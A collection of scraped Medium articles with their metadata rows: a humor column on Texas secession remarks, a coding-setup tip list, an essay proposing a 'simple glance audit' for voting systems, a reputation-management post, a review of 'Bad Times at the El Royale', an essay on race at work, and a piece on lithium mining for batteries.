This time next year, anyone landing in Texas may be faced with a very long walk through the airport, a journey that culminates in a large room and an interview with a suspicious Texas ranger who demands to know just what you’re planning to do in the Lone Star state. Ditto for anyone attempting to enter by motorized vehicle.
Sound far-fetched? Not if you’re Texas GOP Chairman Allen West or Texas Attorney General Ken Paxton, both of whom have floated the idea of leaving the United States of America following the Supreme Court’s refusal to hear, but no doubt willingness to hysterically laugh at, Paxton’s lawsuit seeking to invalidate 10 million votes cast for President-elect Joe Biden.
“Perhaps law-abiding states should bond together and form a Union of states that will abide by the constitution,” West said in a statement following the decision.
Mr. West, my first instinct was to say, “Go ahead,” as doing so significantly decreases the chances that I will ever meet you face to face. But then I envisioned what my life would be without Texas, a state I have traveled to often for business and, occasionally, pleasure. I would certainly miss the following:
Austin. No, I’ve never been to South by Southwest or Austin City Limits, but that’s immaterial. I’m happy just strolling up and down Sixth Street, listening to all types of music the city has to offer. Sixth Street is like Bourbon Street in New Orleans, but without that annoying vomit smell.
Beto O’Rourke. I’ve always liked the guy, even if he did post an Instagram story while getting his teeth cleaned. I liked him more after his emotions and pent-up frustration caused him to drop the F-bomb on live TV while being interviewed following the August 2019 mass shooting in El Paso. OK, he dropped it eight months earlier while conceding the Senate race to Ted Cruz; but so did I, and I don’t even live in the state.
George Strait. No, he didn’t write All My Exes Live in Texas, but I became a fan after hearing the song. Surprisingly, it was an old girlfriend who turned me onto the tune, with lines like, “And Allison’s in Galveston, somehow lost her sanity.”
Truck Yard. Food trucks, dogs, picnic tables, live bands and a treehouse all crammed into one amazing Dallas dining, drinking and commiserating experience
So yes, I would miss all of that. But, Mr. West, if you do choose to form your own country, state, territory, playground or whatever you have in mind, it just means outsiders will no longer have to deal with the following:
Dallas/Fort Worth International Airport. For some reason, American Airlines has decided that flights to any location worldwide must first stop at DFW. I have been forced to experience that airport while flying from Chicago to Minneapolis, Miami, New York City and multiple other destinations that required first traveling in the opposite direction and then backtracking.
Amarillo. I spent a week there one afternoon. Swipe left.
Hearing “The Big D” ad nauseum. Attention, anybody not living within the Dallas borders: You do not live in “The Big D.” Pull out a map if you need proof. I was first made aware of locationally challenged Texas residents in 1985 when I interviewed for a sports reporter position in Garland, Texas, and the editor offered me the job by asking if I was “ready to move to the Big D.”
Yes, it’s in Dallas County and yes, it boasts nearly a quarter million residents. But it’s not Dallas and never will be. I live in the suburbs of Chicago, yet I don’t identify as living in “The Big C.” Or, just to spite Dallas lovers, “The Bigger C.”
Mariachi bands. My outdoor dining experience should not have to include these guys.
Humidity. This might be irrelevant. Judging by the number of 100-degree days Texas records in a calendar year, the state may well burst into flames before West can carry out his plan.
Mr. West, your party seems to have already seceded from sanity. If you do in fact leave the country, just give me a few hours’ notice. I might want to swing by and pick up some barbecue sauce or have one final Tex-Mex meal.
And, like the Supreme Court, ignore you should our paths cross.
Greg Schwem is a business humorist, motivational corporate comedian, corporate emcee, nationally syndicated humor columnist for Tribune Content Agency and creator of the TV series, “A Comedian Crashes Your Pad, distributed by Fantastic Films LLC and available on Roku, Google Play and the Apple Store. He is currently performing his virtual presentation, “You Can’t Quarantine Laughter” for Fortune 500 companies worldwide. | https://medium.com/the-haven/texas-i-will-only-miss-a-small-part-of-you-when-you-secede-5ccafffff398 | ['Greg Schwem'] | 2020-12-15 19:35:17.800000+00:00 | ['Texas', 'GOP', 'Humor', 'Politics', 'Comedy'] |
How to configure your computer to be “coding ready” | How to configure your computer to be “coding ready”
7 steps to make your computer coding ready
This guide applies to all of Macs, Windows and Linux. Even though all the examples are done in Mac, you can easily google the instructions for Windows and Linux.
#1 Make your mouse cursor bigger!
Make the cursor big so you don’t have to keep looking for it. The goal is to put less strain on your eyes.
Big mouse cursor
It seems like a weird advice at first, but it really works for some people!
#2 Eliminate keyboard key delays
You want to make sure “Key Repeat” and “Delay Until Repeat” is as fast as possible.
What this means is that you can move your keyboard cursor around quickly when you are coding – a big improvement to your productivity.
Before configuration: slow
After configuration: fast
#3 Able to manage your workspace easily
Organizing your workspace on your computer is paramount. You might want to be able to split your screen with multiple windows to see things side by side. | https://medium.com/altcademy/how-to-configure-your-computer-to-be-coding-ready-9779f996b4cd | ['Harry Chen'] | 2019-04-15 08:30:22.587000+00:00 | ['Learning To Code', 'Programming', 'Productivity', 'Learning', 'Coding'] |
Voting and Electoral Integrity | Voting and Electoral Integrity
A Vote being cast. Photo courtesy Element5 Digital on Unsplash
The United States has just finished another Federal election cycle. Yet the tension around it shows we need a more uniform, transparent, and modern voting process.
It may be comforting to think that our election process is robust. The legal challenges played out and the system ‘prevailed’ - just with a little delay. I would submit the opposite is true. Our system worked only because the 2020 election wasn’t actually that close. If a single state decided the 2020 election, such as in 2000, chaos would have ensued.
Perhaps the most critical issue is this: How do we retain faith that the system of voting and representation is fair? No voting process can be perfect, but as a democracy, we strive for fairness and trust.
Let’s explore a couple critical areas:
Fair Voting Process (voting mechanics) — All eligible voters can have confidence that they can easily get their ballots cast and that they will counted correctly.
— All eligible voters can have confidence that they can easily get their ballots cast and that they will counted correctly. Accurate Information (influence)— Ensure people are accurately informed so that their votes and candidates best reflect their desired direction. This includes pamphlets, campaign disclosures, and lobbying, among other issues. Assessing what accurate and factual information is challenging, as touched on in this essay.
For both of these to work well, the most critical idea is that all processes we use must pass a simple glance audit. What’s a simple glance audit? It means that anyone in the electorate can easily scan our voting process (with very little training) and see that it is transparent and just by their own quick inspection.
The ability of any person to understand — at a glance — how the whole system works is critical. Unlike other areas where we go to an expert (such as a doctor or mechanic), voting is something where each voter should be an expert (enough). Simple processes may not be the most efficient in a technological sense, but they allow for long term consistency and generational trust.
Here just a few of the issues for which we can apply our Simple Glance Audit:
Procedures that vary from state to state.
Voter eligibility varies from state to state.
The timing of when mail-in ballots are accepted varies across states.
It is nearly impossible for a member of the public to audit votes or counts, especially for electronic voting.
Not everyone can vote on election day (work, illness, travel, pandemic, etc.)
Counting machines use software that, even if reliable, is not accessible or understandable by the average person. This can lead to endless challenges about their accuracy.
Results take too long -in many cases, several weeks to be official. Our counting procedures come from a horse-and-buggy time-period. For reasons of stability both at home and to our overseas adversaries, we must not let such a long period of ambiguity fester.
The election process and machinery should be understandable by the average person.
The following sections use metaphor of simple glance audit to look at aspects that ensure the best possible voting process.
Uniform Voting Process
A voting process should be simple and straightforward. Show up to vote at the right place and pick your choices and vote.
In theory, voting by mail should use a similar, vetted process (all though there are challenges we’ll explore). Now let’s look at areas where we can help ensure our process is fair for all and hopefully robust to corruption or failure.
The themes here are meant to be a discussion about the goals of a fair and transparent process. As new tech or challenges come up, we can test what should (and should not) be adopted.
States Rights and Equal Protection
A key idea of fairness is that all persons voting in the same election must follow the same rules, procedures, and deadlines. Long-held beliefs about states’ rights (that each state can set up its own way of voting) are probably not appropriate in a national (federal) election. The 14th Amendment, as written, only applies to rights within states. However, just as “Separate but Equal” was struck down as a civil rights issue, it is time to create uniform voting rules when conducting a national election.
Having a set of uniform rules passes our simple glance audit that everyone is treated the same. This is not an argument that the Federal government runs the election for each state — just that the rules the states follow are uniform (such as who is eligible to vote, what days, how access is administered, and more are the same for voters in each jurisdiction). To treat voters in different areas differently would be unfair by the “separate but equal” logic already applied to civil rights by the courts.
Who Has the Right to Vote
Voting should be open to all adult citizens of the country. Generally, aliens or permanent residents are not allowed to vote. This is because citizens (birth or naturalized) are fully bound to the country’s laws and vice versa.
Aliens — Aliens who are residents can’t vote, but if they become citizens, then voting rights are granted to them. Many argue the aliens live by the same rules as citizens and pay taxes — this is true, but aliens can’t be drafted. The country won’t perform other kinds of consular type services to non-citizen resident aliens who happen to be abroad.
Felons — Felons who have completed their prison sentences (repaid their debt as defined by law)- should restore their voting rights. Note some view this as controversial, but I put this here as those who have completed repaying their debt. If there is a concern that the felon’s debt has not been repaid, I suggest we address sentencing laws, not the permanent revocation of citizen rights.
Using simple rules about voter eligibility passes a simple glance audit protecting minorities and other groups who have been illegally denied the right to vote.
Proper ID
The country needs a simple way to prove the eligibility of a voter. This will require a national ID system with some unique capabilities, including people’s ability to prove citizenship yet still vote anonymously and safely. This is no simple task. But if we really want to make sure that only those with the right to vote are the ones voting, we will need a straightforward way to make sure this is so.
The US has a long history of suppressing the vote of minorities even after slavery was lifted that has not been fully resolved. This has led to an ad hoc system of loose verification of registered voters, which varies by state. However, in modern times, we must deal with stolen identities and digital information warfare. Because of this, we must institute a proper ID system to safeguard our voting process. This system must also protect citizen’s rights to have their votes be kept confidential.
Unrelated to voting, but as important, ID systems must be instituted to protect citizens’ other rights such as finance, tax, and healthcare information that are beyond the scope here. Identity management is a requirement of modern times, and voting is just one place where modern identity management is needed.
Persons working in many/most polling places nowadays do not personally know or can vouch for the identity of voters who present themselves at a particular polling place. In an earlier time, our existing processes had the benefit of neighbors knowing their neighbors, but this is no longer true in 2020. Valid identification of a person as an eligible voter is a reasonable expectation of a country’s citizens as a piece of the infrastructure for safeguarding our election processes.
Having a uniform ID system (it can be driver’s licenses, temporary voting IDs, or other means) passes a simple glance audit that only eligible voters can vote. This includes proper residency checking.
Safe Environment & Long Enough Voting Period
Whether voting in person or by mail, we must protect our polling places and ballots so that voters never feel threatened while voting. Additionally, hours and areas should be open long enough to allow eligible voters access. We may have to spend a little more money to ensure polls are open longer and in enough places. If we are serious about our democracy, we must be serious about spending enough to secure it.
Citizens should be able to vote over a long enough voting period. For example, ballots could be finalized on September 1, and voting could occur any time after finalization until election day.
Voters could go to the DMV or other specified government offices and vote once they have finalized their ballot without waiting for election day.
By ensuring a large enough time window to vote, we reduce situations where voters are deprived of their right to vote because of work, illness, or timing. This can also eliminate the need to grant voters time off on election day since that would just be the last eligible day to vote.
Having a large enough time window passes a Simple Glance Audit for fairness of opportunity.
Vote by Mail
If necessary, citizens should be able to vote by mail.
Vote by mail cutoff should be enough ahead of time such that mail ballots are counted simultaneously with the last possible in-person ballots. This likely means that the vote by mail cutoff could be two weeks ahead of the final election date. All citizens should have the right to vote by mail if needed.
However, voting by mail has some issues, as listed below.
Intent — Even though a person may be a holder of a valid mail vote, there is no way to know that they are the actual person who voted and not someone else (such as another household member). Statistically, this number may be low in the general population, but it is an area of concern. Denial of Vote — Let us say that a state mails out several copies of a given voter’s vote-by-mail ballot. An unscrupulous person may be able to mail one of these other copies. When the election officials examine the various copies, they may be forced to invalidate all of them, thereby denying the legitimate voter’s ballot. It is the paper version of a denial-of-service attack common in cybersecurity arenas. While it may be difficult to mount such a fraud at scale, we must plan for it.
While vote-by-mail may be a necessity at many times, we should strive to develop Simple Glance Audit techniques to ensure vote-by-mail integrity.
Human Countable Audits and Ballots
All ballots must be human countable so that hand audits can be performed if required. Electronic voting, such as digital touch screen voting, should not be permitted unless there is a way to make them pass a simple glance audit.
While it is possible to create a secure voting machine, no human off the street can inspect such a machine and know that it counts correctly. Purely digital voting machines fail our standard of simple glance audit. A few more details emerge as well:
Ballot Inspection — Any person should be able to inspect a ballot (e.g., hand scoring) Counting — Any group of persons with minimal training should be able to tally ballots Special Needs — Persons with special needs should be provided with systems that render their ballots countable by the same human-friendly audit systems. Recounts — Since ballots are human-readable, any group of humans can do a recount and do this as often as necessary. Audits — Ballots can be kept for years to perform audits.
Quick notes on special needs: Ballots should be printed in such a way that when braille is used, the assistive devices make the human auditable counts possible. Much of this is already true.
For those who cannot render a regular ballot, an assistive device can print out a human auditable ballot, and that ballot’s results can be read back to the voter by either machine or human assistant.
The above criteria pass a simple glance audit because there are many ways that anyone can supervise and audit the counting process. We could even have video feeds watching every counter of ballots if a disputed election occurred as has been occasionally done.
Simple counting systems
There are many ways to count and determine the winner of an election. Some of these are:
Simple majority — candidate with the majority of votes win
Plurality — candidate with the most votes wins, even if they don’t have the majority of votes (such as in a 3-way race)
Rank-choice-voting — Voters select multiple candidates by order of preference
Weighted ballots (such as the electoral college system in the US) — some votes have more influence for various ideas of representation
STAR Voting — Voters give each candidate they like a certain number of points, with most points winning (many variations)
(and many more.)
Yet only a few of these methods pass simple glance audit if the candidate with the largest vote count doesn’t win an outright majority of votes. These include plurality win, plurality win with run-off, and approval voting. Lets look at these in more depth with our Simple Glance Audit tool.
Plurality win
In a plurality win system, the candidate (or position) with the most votes wins even if they don’t have a majority of the overall vote. For example, if there are three candidates and one has 45% and the second 30% and the third 25%, then the candidate with 45% of the vote is declared the winner even though most voters didn’t choose that candidate. Plurality passes a simple glance audit since we simply declare whichever candidate has the most votes the winner. A concern is that this may not reflect a true “will of the people” since the majority of voters didn’t cast a vote for the candidate with the highest total. If this is a concern that we can move to the next option — majority win with run-offs.
Plurality Win with Run-Off
To solve the problem of a winner not having an actual majority, we can take the top two candidates of the original vote and run a second election called a run-off. In this case, whichever candidate wins the run-off will have won a majority of the votes cast since there are only two choices (or there is a tie, but this is nearly impossible in a large election).
Majority win with a run-off also passes a simple glance audit because we are declaring the candidate with the most votes in the run-off election the winner.
Approval Voting
Approval voting is a system where a voter can vote for as many choices as they wish for an office. Tacitly this means that the voter has “approved” of any of the choices they’ve made. When the results are tallied, the candidate with the most votes still wins. For example, this allows a voter to vote for both a mainstream candidate and a third-party candidate they might like without “choosing the lesser of two evils” as common in two-party systems. Approval voting also passes a simple glance audit because the counting system is the same as plurality voting.
However, like plurality voting, there is no guarantee that a single candidate will receive a majority of votes. In this case, we can still perform a run-off election.
A more subtle challenge with approval voting is preventing fraud from submitted paper ballots. An issue here is that a nefarious poll worker (“man in the middle in computer security speak”) can take valid ballots and simply mark extra candidate(s). If not caught, these (still valid) ballots would boost those candidate(s). If this happened at enough scale, it could swing a close election. This issue doesn’t occur in systems where only one candidate can be chosen. In those systems, an attacker checking extra candidates would invalidate votes and likely raise suspicions.
Also, it is tempting to add “disapproval” voting or voting against a candidate. But this allows a majority party to simply squash minority parties by disapproving their candidates with such a count from which they would never get elected so it doesn’t pass simple glance audit.
Challenges of Other Tallying Systems
There are several approaches to optimize the counting process in some other way (save time, better represent geographic interests, etc.). Some of these include using delegates, ranked-choice voting, and more.
Yet, several of these fail a Simple Glance Audit, so we should use caution in deploying them.
Delegates — In a system with delegates, a small number of persons act as the voter for many people on a given issue or candidate. This can include political party primaries, the electoral college in the US, and even representative governments. A problem with using delegates is that there is no way to know that each voting delegate has accurately captured the true will of the people they supposedly represent or to harmonize conflicting views of persons they represent.
Rank Choice Voting (RCV) — is a system where each voter casts votes for every candidate in order of their preference. The idea of RCV is that an election need only happen once, and a series of virtual run-offs can happen where each candidate with the least votes is eliminated in a series of passes until the winner is determined. RCV may be true mathematically if all voters cast votes for every candidate on the ballot. However, RCV suffers on several tests for fairness:
Omission (also called “Voter Fatigue”) - If the voter doesn’t select candidates for each position, their vote may be left out of the final “winning” virtual run-off.
(also called “Voter Fatigue”) If the voter doesn’t select candidates for each position, their vote may be left out of the final “winning” virtual run-off. 2nd Campaign Info — In a run-off election, the remaining candidates can present new information and updates on their positions, which were impossible in the first election. RCV prevents candidates from updating and qualifying their positions on critical issues once the electorate is forced to choose between the final two candidates because they don’t go through the rigor of having to win the run-off. Voters who may not have considered the remaining candidates in a run off can now reevaluate their choices.
— In a run-off election, the remaining candidates can present new information and updates on their positions, which were impossible in the first election. RCV prevents candidates from updating and qualifying their positions on critical issues once the electorate is forced to choose between the final two candidates because they don’t go through the rigor of having to win the run-off. Voters who may not have considered the remaining candidates in a run off can now reevaluate their choices. Fails SGA- Finally, RCV fails a simple glance audit — with all of its rules, it’s difficult for just any person to quickly and accurately tally ballots or understand how the voting process works. This makes an RCV result ripe for misinformation and conspiracy theories in an age of social media. This failing isn’t a problem of the mathematics of rank choice voting, but a challenge of building trust with an alternative counting mechanism that is impractical for humans to audit by hand.
Quick Results
The presidential election of 2020 is a precursor to what happens when unofficial results (the AP results or network television results) are seen as authoritative while the official results may take weeks. A festering period of weeks where the winner may not be officially known is dangerous — even if all the counts are theoretically known.
While the 2020 election resulted in a relatively peaceful ambiguity period, this might not be the case if a truly zealous politician was contesting the results. Foreign adversaries may find ways to exploit the seemingly long period where the official results not complete. In earlier times, this lag from election day to the final result was less critical. However, modern communications and the internet suggest having a quick official result is better for stability and trust.
Mail-in ballots (and absentee ballots) along with in-person ballots should be counted as they come in. Deadlines for mail-in ballots should be enough in advance so that the results of mail-in ballots can be made simultaneously as in-person voting.
In modern times there is no reason that we can not have official results from all states within a couple days after election day. This does not interfere with legal appeals or recounts, the procedures for which should follow any normal audit process.
Counting Machines
With nearly every election much discussion ensues about whether ballot counting machines are accurate and trustworthy. Even with the best of computer science skills it is difficult to prove that a vote counting machine is accurate and hasn’t been tampered with. However there are many approaches in which we can audit the vote counting machine while getting the advantage of the speed and accuracy they offer.
The key is to make the output of the vote counting machine pass simple glance audit. For example, we can have the machine output a continuous ledger (such as a roll of paper) in which the machine outputs the last counted ballot’s candidates and the current running totals. In addition the counts extra info such as the ballot serial number (or one-way hash) can be printed along with checksums for each total count. This ledger can also be streamed as the machine is counting so that outsiders can watch the tallying process. The paper ledger again allows a human auditable process (even if the ledger is very long). There should be no large jumps in the accumulation of votes. The point it while the inside of the machine can only be understood by experts, the ledger and video can be understood by anyone. This is just one way to make machines pass simple glance audit, other ways can be created as well.
Advanced technologies such as blockchain may also help automate the process of detecting anomalies but are harder for average persons to easily understand. This shouldn’t preclude their use but is outside the idea of simple glance audit.
No Gerrymandering
Gerrymandering is a process by which geographic boundaries are manipulated to help specific political interests. Political committees determine the geographical boundaries, but fairness is highly partisan in nature. The committee process fails the simple glance audit since there is no way for anyone “off the street” to look and figure out which district they are in by inspection. Also, such boundaries are redrawn nearly every election cycle in the name of “fairness.”
Though by no means easy, a solution to the gerrymandering process is to have a mathematical formula that draws the district lines. Several proposals exist, but this author prefers the population centroid based Voronoi diagrams. While the mathematics is beyond the reach of a simple glance audit, the map it produces is easily understandable and inspectable by all. Odd snake shape districts are eliminated, and the map can be redrawn after each census. An example is here.
Summing Up
Spiritually we live by a system of majority rule and minority rights. The majority can pick the direction of major issues in the country but never at the expense of anyone’s rights. In our current hyperpartisan world, we must learn to live with the majority’s choices, even if not our own. We must all be vigilant to protecting everyone’s rights, including a right to be respected, lest we find ourselves down a dark and narrow path that many a failed country has traveled before.
Suppose we value our democracy’s ideals of fairness and rights. In that case, we must secure our voting process with fair voting systems that can pass simple glance audits. We must maintain utmost vigilance over those who peddle influence against our own interests.
Perhaps we can sum this up in a question:
“Are we an amateur democracy or a professional one?”
If we are to be a professional democracy, the one that is the gold standard for others to follow, then we must invest in it. This means creating systems where anyone can understand and trust every phase of the voting process. With this idea in mind its harder to sow doubt in the integrity of an election since every citizen has the tools to inspect the result.
Lets find ways where we can improve simplicity and fairness for our voting future.
Some Further Reading | https://medium.com/discourse/voting-and-electoral-integrity-f64df00fd47 | ['Manu Chatterjee'] | 2021-02-23 19:18:30.357000+00:00 | ['Voting', 'Elections', 'Justice', 'Democracy', 'Politics'] |
Online Reputation Management: 5 Tips For A Better Reputation Online | Online Reputation Management: 5 Tips For A Better Reputation Online ReputationDefender Mar 4·3 min read
Since digitalization, millions of people can influence the reputation of your company. This has a significant influence on your external image and, in the long term, on your online reputation.
But what exactly is online reputation?
Basically, online reputation means how a company is perceived by others on the Internet. Online reputation is created by the interaction of a wide variety of players on different channels.
On the one hand, individual customers of the company actively contribute to its reputation, for example by writing comments or leaving reviews on different social networks. On the other hand, there are forums and blogs where people exchange views about companies and products. A company’s employees also express themselves on social networks and post photos of the last team event, for example.
Above all, the company itself always communicates its values in all its business activities and through its corporate communications to the outside world. All these factors influence a company’s online reputation and make reputation management increasingly complex.
5 tips to proactively influence your company’s reputation
Don’t be put off by the fact that the big crowd can influence your reputation — the following tips will help you with your successful reputation management.
1. Complaint management: Listen to your customers. Try to take something positive out of criticism and learn from it. Respond to complaints and questions promptly and seriously. By actively collecting feedback and comprehensive monitoring in the communities, you will always know how your reputation is doing — so you can keep an eye on everything!
2. Customer and employee loyalty: Loyal customers and employees are your advertising ambassadors. They defend your company from others and give you a super base with positive reviews.
3. Evaluation marketing: Actively collect reviews from your satisfied customers and present them to the public. The potential customer informs himself and finds reviews and then uses the service.
4. Search engine optimization: Make sure that positive news about your company ranks as high as possible in Google results. Potential customers are looking for you online. Actively influence what they find there.
5. Social media marketing: People are talking about you on social media anyway — give your (potential) customers a place to go for questions, praise or complaints and show that you want to maintain an open dialogue.
Don’t be afraid of fake or negative reviews!
You may be asking yourself: how am I supposed to get a handle on all this as a small company? Or as a large corporation that’s being discussed all over the web. The fact that nowadays everyone expresses their opinion freely on the net and posts reviews still scares some companies. In some industries, fake reviews are also an issue. We can take away these fears to some extent.
Of course, everyone has the right to freely express their opinion. What is important for your reputation is that you notice what is said about you on the web. If you actively monitor, you can also respond to it successfully. Stay up to date on all reviews by being regularly informed by e-mail about new incoming reviews bundled from all review portals. This allows you to react directly in a strategically sensible way.
You can counteract fake reviews by reporting them and, in extreme cases, having them deleted by the platform operator. And what about online bullies? The best way to counter them is to comment respectfully and ask for positive feedback as a balance. You can collect reviews from satisfied customers and give your potential customers an authentic impression of your work. Just meet the naggers with positive voices and good humor for a change.
Don’t be afraid of negative reviews! Of course you want mainly positive reviews, but if you have exclusively positive reviews and consistently 5 stars, you will quickly appear untrustworthy. In a study, it was proven that a total of 4.5 stars inspires more trust than 5 and it was shown that isolated negative reviews enhance the other positive ones and increase trust in the company!
In the end, it’s the good service that counts, not the individual rating. Individual reasonably commented negative reviews can usually not harm your reputation in the long run. | https://medium.com/@reputationdefender/online-reputation-management-5-tips-for-a-better-reputation-online-9b83dbfb0114 | [] | 2021-03-04 14:33:04.770000+00:00 | ['Search', 'Reputationdefender', 'Reputation Management', 'Search Engines', 'Online Reputation'] |
My Review of ‘Bad Times at the El Royale’ (2018) | You know those movies where a bunch of strangers get together and get into hilarious mischief? This isn’t one of them.
Not that you’d expect a film with this title to be anything other than what it is-a kind of Tarantino/Lynch-influenced neo-noir thriller presented from multiple viewpoints and with flashbacks galore.
This image released by 20th Century Fox shows Jeff Bridges, left, and Cynthia Erivo in a scene from “Bad Times at the El Royal.” (Kimberley French/20th Century Fox via AP)
The ensemble of actors starts (after a brief prologue/flashback) with the appearance of a Catholic priest, Daniel Flynn (played by Jeff Bridges) and Darlene Sweet, a struggling soul singer (played by Cynthia Erivo), who meet in the parking lot of the titular hotel, a place that straddles the state line between California and Nevada. Can you imagine the sales tax implications? Now, there’s a bookkeeper’s nightmare.
Via Variety
Then Daniel and Darlene meet the drawling vacuum cleaner salesman (played by Jon Hamm, aka, That Guy from Mad Men), a fellow who likes to talk and talk and talk. Then Emily Summerspring (really!) (played by Dakota Johnson) arrives. The name simply screams “hippie chick”, does it not?
Via Back Stage
But here’s the thing: every one of our merry band of hotel patrons (plus the hotel’s last remaining clerk, Miles Miller (Lewis Pullman), has a dark secret. Well, actually, most of them do. (Darlene’s dark secret seems to be her tendency to come in flat on the harmonies.)
I don’t want to say too much more for fear of revealing spoilers. Set in the 60s, the music is well-chosen and evocative of the era. (And music figures in many interesting ways in the plot.) The cinematography is top notch, the acting exemplary.
Given that the narrative is told from multiple viewpoints, upon close examination, all the perceived complications actually boil down to a fairly simple story told in a convoluted way. | https://debbimackwrites.medium.com/my-review-of-bad-times-at-the-el-royale-2018-47b3f1d809c6 | ['Debbi Mack'] | 2019-09-26 16:55:58.027000+00:00 | ['Neo Noir', 'Noir', 'Movies', 'Movie Review', 'Film Reviews'] |
If you could just leave your blackness at the door, that’d be great | Black professionals are tired. Talking about race at the workplace is still seen as taboo. It is perceived by many (including black people) as unprofessional. And beyond that perception, it is uncomfortable at best, and risky at worst. These perceptions are keeping us from advancing as a society and promoting professional black talent.
Being a minority at work is a different experience when you’re black. Research shows that black women are more likely to be perceived as hyper-sexual, while black men are more likely to be considered threatening. Black employees also tend to receive extra scrutiny from managers, which can lead to worse performance reviews, lower wages, and even job loss. There is clearly still a lot of work to do. The harvest is plentiful and the workers are few. In this article I present some of the myths associated with talking about race at work, and my suggestions to overcome them.
Talking about race is “unprofessional”, whatever that means
In many workplaces black and other minority employees are expected to leave their identities at the door. “Professionalism” seems to be the adjective by which many justify their lack of empathy and humanity. Black employees cannot leave their blackness at the door. It doesn’t work like that. Instead, many of them end up creating a facade in order to survive or succeed at workplaces where they don’t feel free to express their true selves.
Racial prejudice is so embedded in our work culture that we don’t see it anymore. We unconsciously give (biased) compliments to our black colleagues. Although they may come from a good place, they are actually micro-aggressions. She is perceived as more “professional” when her hair is straight, or he is called “representative” when he trims his afro. When it comes to looks, natural black, curly and ‘nappy’ hair is as professional as blond and straight hair. What is not professional is to spread prejudices in the form of compliments at work.
White is another word for power. White supremacy is not only about swastikas and neonazis. White supremacy is an “ideology that encourages to value white people, white culture, and everything associated with whiteness above the people, culture and everything associated with people of colour”. Biases are another subtle way in which white-default thinking manifests itself. Navigating the professional world means learning to comply with white-default work cultures and environments, and adapting yourself to fit in.
Talking about race is uncomfortable, but necessary
It is uncomfortable because it means acknowledging a painful past. Four hundred years of black lives being considered an exchangeable product weighs heavy today. Transatlantic slavery never got a proper closure. Besides the 40 acres and a mule in the US, slaves were not compensated. It was the slave masters who were compensated for the ‘trouble’ or ’loss’ of freeing their slaves. We cannot do anything about what happened in the past. But ignoring it doesn’t do any good to our future either.
Talking about race is uncomfortable, and that is ok. It amazes me how some people’s goal in life is to go through it avoiding any type of discomfort. Discomfort leads to growth. Feeling uncomfortable means that you are thinking. It means that you are opening your eyes and you don’t like what you see. Not liking what you see is the first step to caring. You can transform that care into education, and turn that education into action. That’s how we all become part of the solution, instead of the problem.
I shared one of my articles with a white male colleague once. He mentioned that he thought it was interesting, however it wasn’t for him because he was not in the ‘target group’. I was surprised and disappointed, 1. Because he is one of my closest colleagues; and 2. Because he is exactly in my target group. Black people know what I’m talking about. They live it everyday. It is the white community that still has some work to do when it comes to educating itself about race.
Empathy shouldn’t be this difficult. Black colleagues shouldn’t be the ones educating the rest of the work floor on discrimination and bias. It already takes energy to be the only black colleague in the room. It requires extra effort and bravery to also advocate for diversity, which is something we could all do, regardless of the colour of our skin.
“Not being racist is not enough, we should all be anti-racist.” — Angela Davis
Talking about race is risky, so it requires support
When white men advocate for diversity and inclusion their careers are not affected. In fact, they are praised. However, when black employees and ethnic minorities do the same, they face reprisal. They are perceived as agitators, intimidating, or too political. Research shows that it may affect their performance evaluation and they can even risk losing their jobs. That is why for most black and minority employees it is easier to play along than to challenge the status quo.
Taking the lead when talking about race is not easy for black and other minority employees. They are put in the front line of a sensitive topic. In this case the role of white allies is key. And by white allies I don’t mean white saviours. I mean really empathic colleagues who can advocate for a more diverse work floor.
Becoming an advocate means to protect and support those who speak out. Intervene when your black colleague’s enthusiasm is perceived as threatening; or when their authenticity is being seen as being too assertive. Ask questions and state your opinion. Something among the lines of: “Why do you think she is being too assertive? I think she is being optimistic and enthusiastic about the project. That is good. We should all be like that”.
There were people around when George Floyd was being choked to death by that policeman. All of them could have intervened at his cry for help. Nobody did. People just stood and watched how a man’s life was taken in front of their eyes. It was like a movie. Next time you notice signs of micro-aggressions at your workplace ask yourself what kind of role you want to play in that movie: Would you be a passive spectator? Would you be the one making the video? Or would you intervene and save a life? | https://medium.com/swlh/if-you-could-just-leave-your-blackness-at-the-door-thatd-be-great-8d82d011e3f8 | [] | 2020-09-18 17:58:13.910000+00:00 | ['Race', 'Workplace', 'BlackLivesMatter', 'Intersectionality', 'Racism'] |
Lithium: The Non-Renewable Mineral that Makes Renewable Energy Possible | Lithium: The Non-Renewable Mineral that Makes Renewable Energy Possible BatteryBits Follow May 22 · 5 min read
This is story is contributed by Kunal Phalpher, Li-Cycle
Lithium-ion batteries being fed to the shredder (source: Li-Cycle)
Given ongoing, pressing concerns surrounding climate change, renewable energy has become a topic that is more widespread than ever before. Statistics and figures recently released by NASA reveal the global average surface temperature was just shy of one degree Celsius warmer than the 20th century global average. It is clear that progressive strides towards a greener future are vital.
With fossil fuels being a major contributor to the greenhouse gas emissions driving climate change, the obvious solution lies in renewable energy production and storage. While this seems like an easy solution in the abstract, it is critical that we tamp the idealistic nature of this idea with realism, lest we trade one harmful source of energy for another in our rush to find alternate energy sources.
While this may sound extreme, it is not. The positive impacts of renewable, non-harmful energy sources are well understood. The issue here, however, lies in energy storage, with lithium-ion (Li-ion) batteries being considered the new gold standard. Widely used in smartphones, tablets, laptops, electric vehicles and other devices, these powerful batteries are perfect for efficient energy storage — something that can be attributed to their high energy density and longer lifespan than other available battery options. The problem is that one of the main battery components — lithium — still relies mostly on an energy-intensive mining production process.
What exactly is lithium? In its elemental form, lithium is a soft, silvery-white alkali metal that is both highly reactive and flammable. It is an essential part of Li-ion batteries due to its low electrode potential and low atomic mass, which gives it a high charge and power-to-weight ratio. This enables the finished batteries to be more compact and powerful than other rechargeable batteries. Like other naturally occurring minerals, lithium is, unfortunately, a finite resource that comes with an energy-intensive mining process. The traditional extraction process itself may reduce the potential climate benefits when it comes to its role in minimizing harmful emissions.
EV batteries being fed to the shredder (Source: Li-Cycle)
The ‘why’ in this instance is clear: The extraction of any raw material is costly, energy intensive, and ultimately harmful to the environment. Common mining practices may result in the loss of biodiversity, as well as erosion, sinkholes, and both ground and surface water contamination. In addition to these harmful aspects, the majority of the world’s lithium mines are situated at a considerable distance from battery manufacturing plants. According to the US Geological Survey, the world’s most lithium-rich countries are Chile, Argentina, Bolivia, Australia and China. The energy required to transport the material internationally results in the generation of a considerable amount of carbon dioxide throughout the entire process.
Moreover, it takes around 500,000 gallons of water to extract one metric ton of lithium using traditional methods. The water is used to create a mineral-rich mixture or brine required to obtain lithium from salt flats. This mixture is then left to evaporate, and after sufficient filtration, lithium carbonate can be extracted. However, the process itself harms the soil — since toxic chemicals can leak from the evaporation pools — and it causes air contamination.
Li-Cycle employee at conveyor belt, Spoke 1 in Kingston, ON (Source: Li-Cycle)
